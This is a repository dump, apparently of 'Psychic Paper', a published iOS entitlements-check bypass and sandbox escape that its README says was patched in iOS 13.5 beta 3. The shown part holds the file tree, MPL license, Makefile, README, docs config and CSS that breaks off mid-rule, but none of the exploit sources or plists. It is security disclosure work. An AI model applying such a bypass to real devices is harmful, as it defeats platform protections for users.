├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── docs ├── README.md ├── _config.yml ├── _layouts │ └── default.html ├── assets │ ├── Proxy.drawio │ ├── css │ │ └── style.css │ └── img │ │ ├── 1-tweet.png │ │ ├── 2-joke.png │ │ ├── 3-silly.png │ │ ├── 4-slick.png │ │ ├── 5-beautiful.png │ │ ├── 6-thonk.png │ │ ├── 7-lmao.png │ │ └── 8-proxy.png └── index.md ├── ent.plist ├── ent1.plist ├── ent2.plist ├── ent3.plist ├── nope.plist ├── src ├── cfj.c ├── cfj.h ├── common.c ├── common.h ├── iokit.h ├── plparse.c ├── xpcj.c └── xpcj.h └── stuff └── proxy.m /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | /plparse 3 | /tmp 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Mozilla Public License Version 2.0 2 | ================================== 3 | 4 | 1. Definitions 5 | -------------- 6 | 7 | 1.1. "Contributor" 8 | means each individual or legal entity that creates, contributes to 9 | the creation of, or owns Covered Software. 10 | 11 | 1.2. "Contributor Version" 12 | means the combination of the Contributions of others (if any) used 13 | by a Contributor and that particular Contributor's Contribution. 14 | 15 | 1.3. "Contribution" 16 | means Covered Software of a particular Contributor. 17 | 18 | 1.4. "Covered Software" 19 | means Source Code Form to which the initial Contributor has attached 20 | the notice in Exhibit A, the Executable Form of such Source Code 21 | Form, and Modifications of such Source Code Form, in each case 22 | including portions thereof. 23 | 24 | 1.5. "Incompatible With Secondary Licenses" 25 | means 26 | 27 | (a) that the initial Contributor has attached the notice described 28 | in Exhibit B to the Covered Software; or 29 | 30 | (b) that the Covered Software was made available under the terms of 31 | version 1.1 or earlier of the License, but not also under the 32 | terms of a Secondary License. 33 | 34 | 1.6. "Executable Form" 35 | means any form of the work other than Source Code Form. 36 | 37 | 1.7. "Larger Work" 38 | means a work that combines Covered Software with other material, in 39 | a separate file or files, that is not Covered Software. 40 | 41 | 1.8. "License" 42 | means this document. 43 | 44 | 1.9. "Licensable" 45 | means having the right to grant, to the maximum extent possible, 46 | whether at the time of the initial grant or subsequently, any and 47 | all of the rights conveyed by this License. 48 | 49 | 1.10. "Modifications" 50 | means any of the following: 51 | 52 | (a) any file in Source Code Form that results from an addition to, 53 | deletion from, or modification of the contents of Covered 54 | Software; or 55 | 56 | (b) any new file in Source Code Form that contains any Covered 57 | Software. 58 | 59 | 1.11. "Patent Claims" of a Contributor 60 | means any patent claim(s), including without limitation, method, 61 | process, and apparatus claims, in any patent Licensable by such 62 | Contributor that would be infringed, but for the grant of the 63 | License, by the making, using, selling, offering for sale, having 64 | made, import, or transfer of either its Contributions or its 65 | Contributor Version. 66 | 67 | 1.12. "Secondary License" 68 | means either the GNU General Public License, Version 2.0, the GNU 69 | Lesser General Public License, Version 2.1, the GNU Affero General 70 | Public License, Version 3.0, or any later versions of those 71 | licenses. 72 | 73 | 1.13. "Source Code Form" 74 | means the form of the work preferred for making modifications. 75 | 76 | 1.14. "You" (or "Your") 77 | means an individual or a legal entity exercising rights under this 78 | License. For legal entities, "You" includes any entity that 79 | controls, is controlled by, or is under common control with You. For 80 | purposes of this definition, "control" means (a) the power, direct 81 | or indirect, to cause the direction or management of such entity, 82 | whether by contract or otherwise, or (b) ownership of more than 83 | fifty percent (50%) of the outstanding shares or beneficial 84 | ownership of such entity. 85 | 86 | 2. License Grants and Conditions 87 | -------------------------------- 88 | 89 | 2.1. Grants 90 | 91 | Each Contributor hereby grants You a world-wide, royalty-free, 92 | non-exclusive license: 93 | 94 | (a) under intellectual property rights (other than patent or trademark) 95 | Licensable by such Contributor to use, reproduce, make available, 96 | modify, display, perform, distribute, and otherwise exploit its 97 | Contributions, either on an unmodified basis, with Modifications, or 98 | as part of a Larger Work; and 99 | 100 | (b) under Patent Claims of such Contributor to make, use, sell, offer 101 | for sale, have made, import, and otherwise transfer either its 102 | Contributions or its Contributor Version. 103 | 104 | 2.2. Effective Date 105 | 106 | The licenses granted in Section 2.1 with respect to any Contribution 107 | become effective for each Contribution on the date the Contributor first 108 | distributes such Contribution. 109 | 110 | 2.3. Limitations on Grant Scope 111 | 112 | The licenses granted in this Section 2 are the only rights granted under 113 | this License. No additional rights or licenses will be implied from the 114 | distribution or licensing of Covered Software under this License. 115 | Notwithstanding Section 2.1(b) above, no patent license is granted by a 116 | Contributor: 117 | 118 | (a) for any code that a Contributor has removed from Covered Software; 119 | or 120 | 121 | (b) for infringements caused by: (i) Your and any other third party's 122 | modifications of Covered Software, or (ii) the combination of its 123 | Contributions with other software (except as part of its Contributor 124 | Version); or 125 | 126 | (c) under Patent Claims infringed by Covered Software in the absence of 127 | its Contributions. 128 | 129 | This License does not grant any rights in the trademarks, service marks, 130 | or logos of any Contributor (except as may be necessary to comply with 131 | the notice requirements in Section 3.4). 132 | 133 | 2.4. Subsequent Licenses 134 | 135 | No Contributor makes additional grants as a result of Your choice to 136 | distribute the Covered Software under a subsequent version of this 137 | License (see Section 10.2) or under the terms of a Secondary License (if 138 | permitted under the terms of Section 3.3). 139 | 140 | 2.5. Representation 141 | 142 | Each Contributor represents that the Contributor believes its 143 | Contributions are its original creation(s) or it has sufficient rights 144 | to grant the rights to its Contributions conveyed by this License. 145 | 146 | 2.6. Fair Use 147 | 148 | This License is not intended to limit any rights You have under 149 | applicable copyright doctrines of fair use, fair dealing, or other 150 | equivalents. 151 | 152 | 2.7. Conditions 153 | 154 | Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted 155 | in Section 2.1. 156 | 157 | 3. Responsibilities 158 | ------------------- 159 | 160 | 3.1. Distribution of Source Form 161 | 162 | All distribution of Covered Software in Source Code Form, including any 163 | Modifications that You create or to which You contribute, must be under 164 | the terms of this License. You must inform recipients that the Source 165 | Code Form of the Covered Software is governed by the terms of this 166 | License, and how they can obtain a copy of this License. You may not 167 | attempt to alter or restrict the recipients' rights in the Source Code 168 | Form. 169 | 170 | 3.2. Distribution of Executable Form 171 | 172 | If You distribute Covered Software in Executable Form then: 173 | 174 | (a) such Covered Software must also be made available in Source Code 175 | Form, as described in Section 3.1, and You must inform recipients of 176 | the Executable Form how they can obtain a copy of such Source Code 177 | Form by reasonable means in a timely manner, at a charge no more 178 | than the cost of distribution to the recipient; and 179 | 180 | (b) You may distribute such Executable Form under the terms of this 181 | License, or sublicense it under different terms, provided that the 182 | license for the Executable Form does not attempt to limit or alter 183 | the recipients' rights in the Source Code Form under this License. 184 | 185 | 3.3. Distribution of a Larger Work 186 | 187 | You may create and distribute a Larger Work under terms of Your choice, 188 | provided that You also comply with the requirements of this License for 189 | the Covered Software. If the Larger Work is a combination of Covered 190 | Software with a work governed by one or more Secondary Licenses, and the 191 | Covered Software is not Incompatible With Secondary Licenses, this 192 | License permits You to additionally distribute such Covered Software 193 | under the terms of such Secondary License(s), so that the recipient of 194 | the Larger Work may, at their option, further distribute the Covered 195 | Software under the terms of either this License or such Secondary 196 | License(s). 197 | 198 | 3.4. Notices 199 | 200 | You may not remove or alter the substance of any license notices 201 | (including copyright notices, patent notices, disclaimers of warranty, 202 | or limitations of liability) contained within the Source Code Form of 203 | the Covered Software, except that You may alter any license notices to 204 | the extent required to remedy known factual inaccuracies. 205 | 206 | 3.5. Application of Additional Terms 207 | 208 | You may choose to offer, and to charge a fee for, warranty, support, 209 | indemnity or liability obligations to one or more recipients of Covered 210 | Software. However, You may do so only on Your own behalf, and not on 211 | behalf of any Contributor. You must make it absolutely clear that any 212 | such warranty, support, indemnity, or liability obligation is offered by 213 | You alone, and You hereby agree to indemnify every Contributor for any 214 | liability incurred by such Contributor as a result of warranty, support, 215 | indemnity or liability terms You offer. You may include additional 216 | disclaimers of warranty and limitations of liability specific to any 217 | jurisdiction. 218 | 219 | 4. Inability to Comply Due to Statute or Regulation 220 | --------------------------------------------------- 221 | 222 | If it is impossible for You to comply with any of the terms of this 223 | License with respect to some or all of the Covered Software due to 224 | statute, judicial order, or regulation then You must: (a) comply with 225 | the terms of this License to the maximum extent possible; and (b) 226 | describe the limitations and the code they affect. Such description must 227 | be placed in a text file included with all distributions of the Covered 228 | Software under this License. Except to the extent prohibited by statute 229 | or regulation, such description must be sufficiently detailed for a 230 | recipient of ordinary skill to be able to understand it. 231 | 232 | 5. Termination 233 | -------------- 234 | 235 | 5.1. The rights granted under this License will terminate automatically 236 | if You fail to comply with any of its terms. However, if You become 237 | compliant, then the rights granted under this License from a particular 238 | Contributor are reinstated (a) provisionally, unless and until such 239 | Contributor explicitly and finally terminates Your grants, and (b) on an 240 | ongoing basis, if such Contributor fails to notify You of the 241 | non-compliance by some reasonable means prior to 60 days after You have 242 | come back into compliance. Moreover, Your grants from a particular 243 | Contributor are reinstated on an ongoing basis if such Contributor 244 | notifies You of the non-compliance by some reasonable means, this is the 245 | first time You have received notice of non-compliance with this License 246 | from such Contributor, and You become compliant prior to 30 days after 247 | Your receipt of the notice. 248 | 249 | 5.2. If You initiate litigation against any entity by asserting a patent 250 | infringement claim (excluding declaratory judgment actions, 251 | counter-claims, and cross-claims) alleging that a Contributor Version 252 | directly or indirectly infringes any patent, then the rights granted to 253 | You by any and all Contributors for the Covered Software under Section 254 | 2.1 of this License shall terminate. 255 | 256 | 5.3. In the event of termination under Sections 5.1 or 5.2 above, all 257 | end user license agreements (excluding distributors and resellers) which 258 | have been validly granted by You or Your distributors under this License 259 | prior to termination shall survive termination. 260 | 261 | ************************************************************************ 262 | * * 263 | * 6. Disclaimer of Warranty * 264 | * ------------------------- * 265 | * * 266 | * Covered Software is provided under this License on an "as is" * 267 | * basis, without warranty of any kind, either expressed, implied, or * 268 | * statutory, including, without limitation, warranties that the * 269 | * Covered Software is free of defects, merchantable, fit for a * 270 | * particular purpose or non-infringing. The entire risk as to the * 271 | * quality and performance of the Covered Software is with You. * 272 | * Should any Covered Software prove defective in any respect, You * 273 | * (not any Contributor) assume the cost of any necessary servicing, * 274 | * repair, or correction. This disclaimer of warranty constitutes an * 275 | * essential part of this License. No use of any Covered Software is * 276 | * authorized under this License except under this disclaimer. * 277 | * * 278 | ************************************************************************ 279 | 280 | ************************************************************************ 281 | * * 282 | * 7. Limitation of Liability * 283 | * -------------------------- * 284 | * * 285 | * Under no circumstances and under no legal theory, whether tort * 286 | * (including negligence), contract, or otherwise, shall any * 287 | * Contributor, or anyone who distributes Covered Software as * 288 | * permitted above, be liable to You for any direct, indirect, * 289 | * special, incidental, or consequential damages of any character * 290 | * including, without limitation, damages for lost profits, loss of * 291 | * goodwill, work stoppage, computer failure or malfunction, or any * 292 | * and all other commercial damages or losses, even if such party * 293 | * shall have been informed of the possibility of such damages. This * 294 | * limitation of liability shall not apply to liability for death or * 295 | * personal injury resulting from such party's negligence to the * 296 | * extent applicable law prohibits such limitation. Some * 297 | * jurisdictions do not allow the exclusion or limitation of * 298 | * incidental or consequential damages, so this exclusion and * 299 | * limitation may not apply to You. * 300 | * * 301 | ************************************************************************ 302 | 303 | 8. Litigation 304 | ------------- 305 | 306 | Any litigation relating to this License may be brought only in the 307 | courts of a jurisdiction where the defendant maintains its principal 308 | place of business and such litigation shall be governed by laws of that 309 | jurisdiction, without reference to its conflict-of-law provisions. 310 | Nothing in this Section shall prevent a party's ability to bring 311 | cross-claims or counter-claims. 312 | 313 | 9. Miscellaneous 314 | ---------------- 315 | 316 | This License represents the complete agreement concerning the subject 317 | matter hereof. If any provision of this License is held to be 318 | unenforceable, such provision shall be reformed only to the extent 319 | necessary to make it enforceable. Any law or regulation which provides 320 | that the language of a contract shall be construed against the drafter 321 | shall not be used to construe this License against a Contributor. 322 | 323 | 10. Versions of the License 324 | --------------------------- 325 | 326 | 10.1. New Versions 327 | 328 | Mozilla Foundation is the license steward. Except as provided in Section 329 | 10.3, no one other than the license steward has the right to modify or 330 | publish new versions of this License. Each version will be given a 331 | distinguishing version number. 332 | 333 | 10.2. Effect of New Versions 334 | 335 | You may distribute the Covered Software under the terms of the version 336 | of the License under which You originally received the Covered Software, 337 | or under the terms of any subsequent version published by the license 338 | steward. 339 | 340 | 10.3. Modified Versions 341 | 342 | If you create software not governed by this License, and you want to 343 | create a new license for such software, you may create and use a 344 | modified version of this License if you rename the license and remove 345 | any references to the name of the license steward (except to note that 346 | such modified license differs from this License). 347 | 348 | 10.4. Distributing Source Code Form that is Incompatible With Secondary 349 | Licenses 350 | 351 | If You choose to distribute Source Code Form that is Incompatible With 352 | Secondary Licenses under the terms of this version of the License, the 353 | notice described in Exhibit B of this License must be attached. 354 | 355 | Exhibit A - Source Code Form License Notice 356 | ------------------------------------------- 357 | 358 | This Source Code Form is subject to the terms of the Mozilla Public 359 | License, v. 2.0. If a copy of the MPL was not distributed with this 360 | file, You can obtain one at http://mozilla.org/MPL/2.0/. 361 | 362 | If it is not possible or desirable to put the notice in a particular 363 | file, then You may include the notice in a location (such as a LICENSE 364 | file in a relevant directory) where a recipient would be likely to look 365 | for such a notice. 366 | 367 | You may add additional accurate notices of copyright ownership. 368 | 369 | Exhibit B - "Incompatible With Secondary Licenses" Notice 370 | --------------------------------------------------------- 371 | 372 | This Source Code Form is "Incompatible With Secondary Licenses", as 373 | defined by the Mozilla Public License, v. 2.0. 374 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | ALL = plparse 2 | FLAGS = -Wall -O3 -fblocks -framework CoreFoundation -framework IOKit -framework Security 3 | 4 | .PHONY: all clean 5 | 6 | all: $(ALL) 7 | 8 | plparse: src/*.c 9 | $(CC) -o $@ $^ $(FLAGS) 10 | 11 | clean: 12 | rm -f $(ALL) 13 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Psychic Paper 2 | 3 | AMFI/amfid entitlements check bypass, iOS sandbox escape. 4 | Patched in iOS 13.5 beta 3. 5 | 6 | Write-up [here](https://siguza.github.io/psychicpaper/). 7 | 8 | ### Building 9 | 10 | This repo also contains a tool I called `plparse`, that can be used to invoke three different XML/plist parsers present on macOS & iOS. Build with: 11 | 12 | make 13 | 14 | And run as: 15 | 16 | plparse -c file.plist 17 | plparse -i file.plist 18 | plparse -x file.plist 19 | plparse -cix file.plist 20 | 21 | ### License 22 | 23 | [MPL2](https://github.com/Siguza/psychicpaper/blob/master/LICENSE) with Exhibit B. 24 | -------------------------------------------------------------------------------- /docs/README.md: -------------------------------------------------------------------------------- 1 | # Write-up 2 | 3 | This is best viewed at [blog.siguza.net/psychicpaper](https://blog.siguza.net/psychicpaper/), where the images are properly working. 4 | -------------------------------------------------------------------------------- /docs/_config.yml: -------------------------------------------------------------------------------- 1 | title: "Psychic paper" 2 | description: "Siguza's Blog" 3 | url: "https://blog.siguza.net" 4 | baseurl: "/psychicpaper" 5 | -------------------------------------------------------------------------------- /docs/_layouts/default.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | {% seo %} 8 | 9 | 10 | 11 |
12 | 13 |
14 | {{ content }} 15 |
16 |
17 | 18 | 19 | -------------------------------------------------------------------------------- /docs/assets/Proxy.drawio: -------------------------------------------------------------------------------- 1 | 7VpNc+I4EP01HKEk27LNkSSTnUNSS4XU7sxpStgCuyIsIosB5tevZMv4SxBS2GQ2uxwSqyU10nut13IXA/t2tfuD43X0yEJCBxYIdwP7bmBZFnBd+U9Z9rkFAjTOLUseh9pWGmbxL1IM1NZNHJK0NlAwRkW8rhsDliQkEDUb5pxt68MWjNa/dY2XpGWYBZi2rX/HoYhyq295pf0riZdR8c3Q1ftb4WKw3kka4ZBtKyb7y8C+5YyJ/Gm1uyVUoVfgks+7P9J7WBgniThnghj/EnQTvX4dRg9sa439ZDYdai8/Md3oDevFin2BAGebJCTKCRzYN9soFmS2xoHq3UrSpS0SK6q7FzGlt4wyns21F35AgkDaU8HZC6n0zH3kICB79AIIF2R3dGfwgJeMNMJWRPC9HKInOBphHWN2gfi2JOxgiypkHSZiHSTLg+sSR/mgoXwHrFa/sIaI+KFjgtW35rY8c93A+vvhaveMKyb+whiubuCT+aIbXJvx6p0JK3T7gtUxwOpSoQBick9VfN3XDSs6hmkm1xM5ALrrXdkpn5bq/5Szndr4lHFReJQLzJ3mQ07wB97NH4HyZHgm/sauZ+OOzgVCdf4ct00gBAYCezsW6GL+5P4N/M0Sgl/2I7xen8ueRFXUKcI0XibyOZDoEsnGjcI+lgl2ojtWcRiq6TecyPXgeeZKcb9mcSIyqNDNAN0pXxvB8jVnrjvgEjbOIvJQm0ujxvXFpdsTl3Ixm5TLvzSekx0J5BNeLeRSPimzCKK3mfWuyazXYvb5/sf0YfJ8/+fTY6c6CICPATDpIADIy3oU19WLWvbpBnm3eW9wTPqI2sjbfSHv/0eQl6mphrxvCPmrAj9uAZ8w2e4L/dAHwLNN6E8QAE7fcX9G2JtSSW/oQ9PbXRf3ukccRLLzkaSpen3WPue8TB6f5a4H7fqJMt717Gve9aDp3bKLC8Jf3biJAxGvjgbA57xr2G4jStpBctWbBjzjPZkk4UTVxxSoFKdpHNQRz49VUfNSokp2sfime9Xzd4XwCOnW3U4DnjX2RSOR+/lWbVRmqWY5LWsV8/LlkrBVnGtQIrfENjwgp8AoyoaYL4k4MdAxc1whERlILGycUCzin/X1mpjV3zBVcVkJIa/xIuI3giPfp55VLfM1HDWrNqgZZTkOLUdZoB22fUHstYsJT+R1Q1LRDkFJ7wOeE9rfWVdKchdzIkWJqalUcC1kutRsqXlULeIGBy/LLCMVuSRhCTklELrmrBcwOJznapSeOJ9H5WQIRvLu5tZoLCq1F4aZhRpex3UPbLFIST9xcXmRwnwZecbpy6erMdmNGhM0vkNd9d5hKkxcnFMqJxG6tXwx8lA1ZcA3EkaRnMqE9L2aj4zJqcMk45yZY/JT8GFJZtysdv1bk0y7lvIkodl/RIppJhPOBNbZxv2Q5OKeVBYwAp7ldBJO/sgf19OJZY9c72oZpV3W6UORDsJiVZUFnlSWiozVVAy8oWIdKlKRb9+WpCOZ6H9Jel80tmtdT2RNfzdJGn6MJvknNWmoRMmza/xZnYTX0B1BC1Q+sCVY/uV6JZvl7zjy4eXPYewv/wA= -------------------------------------------------------------------------------- /docs/assets/css/style.css: -------------------------------------------------------------------------------- 1 | /*! normalize.css v4.1.1 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,main,menu,nav,section{display:block}summary{display:list-item}audio,canvas,progress,video{display:inline-block}audio:not([controls]){display:none;height:0}progress{vertical-align:baseline}template,[hidden]{display:none !important}a{background-color:transparent}a:active,a:hover{outline-width:0}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:inherit}b,strong{font-weight:bolder}dfn{font-style:italic}h1{font-size:2em;margin:0.67em 0}mark{background-color:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}img{border-style:none}svg:not(:root){overflow:hidden}code,kbd,pre,samp{font-family:monospace, monospace;font-size:1em}figure{margin:1em 40px}hr{box-sizing:content-box;height:0;overflow:visible}button,input,select,textarea{font:inherit;margin:0}optgroup{font-weight:bold}button,input{overflow:visible}button,select{text-transform:none}button,html [type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:0.35em 0.625em 0.75em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-cancel-button,[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-input-placeholder{color:inherit;opacity:0.54}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}*{box-sizing:border-box}input,select,textarea,button{font-family:inherit;font-size:inherit;line-height:inherit}body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:14px;line-height:1.5;color:#24292e;background-color:#fff}a{color:#0366d6;text-decoration:none}a:hover{text-decoration:underline}b,strong{font-weight:600}hr,.rule{height:0;margin:15px 0;overflow:hidden;background:transparent;border:0;border-bottom:1px solid #dfe2e5}hr::before,.rule::before{display:table;content:""}hr::after,.rule::after{display:table;clear:both;content:""}table{border-spacing:0;border-collapse:collapse}td,th{padding:0}button{cursor:pointer;border-radius:0}[hidden][hidden]{display:none !important}details summary{cursor:pointer}details:not([open])>*:not(summary){display:none !important}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:0}h1{font-size:32px;font-weight:600}h2{font-size:24px;font-weight:600}h3{font-size:20px;font-weight:600}h4{font-size:16px;font-weight:600}h5{font-size:14px;font-weight:600}h6{font-size:12px;font-weight:600}p{margin-top:0;margin-bottom:10px}small{font-size:90%}blockquote{margin:0}ul,ol{padding-left:0;margin-top:0;margin-bottom:0}ol ol,ul ol{list-style-type:lower-roman}ul ul ol,ul ol ol,ol ul ol,ol ol ol{list-style-type:lower-alpha}dd{margin-left:0}tt,code{font-family:"SFMono-Regular",Consolas,"Liberation Mono",Menlo,Courier,monospace;font-size:12px}pre{margin-top:0;margin-bottom:0;font-family:"SFMono-Regular",Consolas,"Liberation Mono",Menlo,Courier,monospace;font-size:12px}.octicon{vertical-align:text-bottom}.anim-fade-in{animation-name:fade-in;animation-duration:1s;animation-timing-function:ease-in-out}.anim-fade-in.fast{animation-duration:300ms}@keyframes fade-in{0%{opacity:0}100%{opacity:1}}.anim-fade-out{animation-name:fade-out;animation-duration:1s;animation-timing-function:ease-out}.anim-fade-out.fast{animation-duration:0.3s}@keyframes fade-out{0%{opacity:1}100%{opacity:0}}.anim-fade-up{opacity:0;animation-name:fade-up;animation-duration:0.3s;animation-fill-mode:forwards;animation-timing-function:ease-out;animation-delay:1s}@keyframes fade-up{0%{opacity:0.8;transform:translateY(100%)}100%{opacity:1;transform:translateY(0)}}.anim-fade-down{animation-name:fade-down;animation-duration:0.3s;animation-fill-mode:forwards;animation-timing-function:ease-in}@keyframes fade-down{0%{opacity:1;transform:translateY(0)}100%{opacity:0.5;transform:translateY(100%)}}.anim-grow-x{width:0%;animation-name:grow-x;animation-duration:0.3s;animation-fill-mode:forwards;animation-timing-function:ease;animation-delay:0.5s}@keyframes grow-x{to{width:100%}}.anim-shrink-x{animation-name:shrink-x;animation-duration:0.3s;animation-fill-mode:forwards;animation-timing-function:ease-in-out;animation-delay:0.5s}@keyframes shrink-x{to{width:0%}}.anim-scale-in{animation-name:scale-in;animation-duration:0.15s;animation-timing-function:cubic-bezier(0.2, 0, 0.13, 1.5)}@keyframes scale-in{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.anim-pulse{animation-name:pulse;animation-duration:2s;animation-timing-function:linear;animation-iteration-count:infinite}@keyframes pulse{0%{opacity:0.3}10%{opacity:1}100%{opacity:0.3}}.anim-pulse-in{animation-name:pulse-in;animation-duration:0.5s}@keyframes pulse-in{0%{transform:scale3d(1, 1, 1)}50%{transform:scale3d(1.1, 1.1, 1.1)}100%{transform:scale3d(1, 1, 1)}}.hover-grow{transition:transform 0.3s;backface-visibility:hidden}.hover-grow:hover{transform:scale(1.025)}.border{border:1px #e1e4e8 solid !important}.border-y{border-top:1px #e1e4e8 solid !important;border-bottom:1px #e1e4e8 solid !important}.border-0{border:0 !important}.border-dashed{border-style:dashed !important}.border-blue{border-color:#0366d6 !important}.border-blue-light{border-color:#c8e1ff !important}.border-green{border-color:#34d058 !important}.border-green-light{border-color:#a2cbac !important}.border-red{border-color:#d73a49 !important}.border-red-light{border-color:#cea0a5 !important}.border-purple{border-color:#6f42c1 !important}.border-yellow{border-color:#d9d0a5 !important}.border-gray-light{border-color:#eaecef !important}.border-gray-dark{border-color:#d1d5da !important}.border-black-fade{border-color:rgba(27,31,35,0.15) !important}.border-top{border-top:1px #e1e4e8 solid !important}.border-right{border-right:1px #e1e4e8 solid !important}.border-bottom{border-bottom:1px #e1e4e8 solid !important}.border-left{border-left:1px #e1e4e8 solid !important}.border-top-0{border-top:0 !important}.border-right-0{border-right:0 !important}.border-bottom-0{border-bottom:0 !important}.border-left-0{border-left:0 !important}.rounded-0{border-radius:0 !important}.rounded-1{border-radius:3px !important}.rounded-2{border-radius:6px !important}.rounded-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-top-1{border-top-left-radius:3px !important;border-top-right-radius:3px !important}.rounded-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-right-1{border-top-right-radius:3px !important;border-bottom-right-radius:3px !important}.rounded-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-bottom-1{border-bottom-right-radius:3px !important;border-bottom-left-radius:3px !important}.rounded-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-left-1{border-bottom-left-radius:3px !important;border-top-left-radius:3px !important}.rounded-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}@media (min-width: 544px){.border-sm-top{border-top:1px #e1e4e8 solid !important}.border-sm-right{border-right:1px #e1e4e8 solid !important}.border-sm-bottom{border-bottom:1px #e1e4e8 solid !important}.border-sm-left{border-left:1px #e1e4e8 solid !important}.border-sm-top-0{border-top:0 !important}.border-sm-right-0{border-right:0 !important}.border-sm-bottom-0{border-bottom:0 !important}.border-sm-left-0{border-left:0 !important}.rounded-sm-0{border-radius:0 !important}.rounded-sm-1{border-radius:3px !important}.rounded-sm-2{border-radius:6px !important}.rounded-sm-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-sm-top-1{border-top-left-radius:3px !important;border-top-right-radius:3px !important}.rounded-sm-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-sm-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-sm-right-1{border-top-right-radius:3px !important;border-bottom-right-radius:3px !important}.rounded-sm-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-sm-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-sm-bottom-1{border-bottom-right-radius:3px !important;border-bottom-left-radius:3px !important}.rounded-sm-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-sm-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-sm-left-1{border-bottom-left-radius:3px !important;border-top-left-radius:3px !important}.rounded-sm-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}}@media (min-width: 768px){.border-md-top{border-top:1px #e1e4e8 solid !important}.border-md-right{border-right:1px #e1e4e8 solid !important}.border-md-bottom{border-bottom:1px #e1e4e8 solid !important}.border-md-left{border-left:1px #e1e4e8 solid !important}.border-md-top-0{border-top:0 !important}.border-md-right-0{border-right:0 !important}.border-md-bottom-0{border-bottom:0 !important}.border-md-left-0{border-left:0 !important}.rounded-md-0{border-radius:0 !important}.rounded-md-1{border-radius:3px !important}.rounded-md-2{border-radius:6px !important}.rounded-md-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-md-top-1{border-top-left-radius:3px !important;border-top-right-radius:3px !important}.rounded-md-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-md-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-md-right-1{border-top-right-radius:3px !important;border-bottom-right-radius:3px !important}.rounded-md-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-md-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-md-bottom-1{border-bottom-right-radius:3px !important;border-bottom-left-radius:3px !important}.rounded-md-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-md-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-md-left-1{border-bottom-left-radius:3px !important;border-top-left-radius:3px !important}.rounded-md-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}}@media (min-width: 1012px){.border-lg-top{border-top:1px #e1e4e8 solid !important}.border-lg-right{border-right:1px #e1e4e8 solid !important}.border-lg-bottom{border-bottom:1px #e1e4e8 solid !important}.border-lg-left{border-left:1px #e1e4e8 solid !important}.border-lg-top-0{border-top:0 !important}.border-lg-right-0{border-right:0 !important}.border-lg-bottom-0{border-bottom:0 !important}.border-lg-left-0{border-left:0 !important}.rounded-lg-0{border-radius:0 !important}.rounded-lg-1{border-radius:3px !important}.rounded-lg-2{border-radius:6px !important}.rounded-lg-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-lg-top-1{border-top-left-radius:3px !important;border-top-right-radius:3px !important}.rounded-lg-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-lg-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-lg-right-1{border-top-right-radius:3px !important;border-bottom-right-radius:3px !important}.rounded-lg-right-2{border-top-right-radius:6px 